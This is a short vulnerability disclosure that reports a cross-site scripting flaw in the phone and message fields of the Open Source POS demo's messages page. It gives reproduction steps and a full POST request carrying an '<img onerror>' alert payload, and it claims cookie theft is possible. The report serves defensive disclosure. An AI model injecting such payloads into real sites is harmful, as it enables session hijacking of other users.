Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.

Proof of Concept

// PoC.js

1--> Just got https://demo.opensourcepos.org/messages
2--> send a payload on number phone field .
3--> you will get an alert .

#POST HTTP Request:

 https://demo.opensourcepos.org/messages/send/


POST DATA: 

------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="csrf_ospos_v3"

29a6a2bc96c4020fe06b92d829f53467
------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="phone"

"><img src=x onerror=alert(5)>
------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="message"

"><img src=x onerror=alert(5)>
------WebKitFormBoundaryFINtyF3tWThqKgKc
Content-Disposition: form-data; name="submit_form"

Submit
------WebKitFormBoundaryFINtyF3tWThqKgKc--

Impact

This vulnerability is capable of claiming other users cookie performing other advanced scenarios .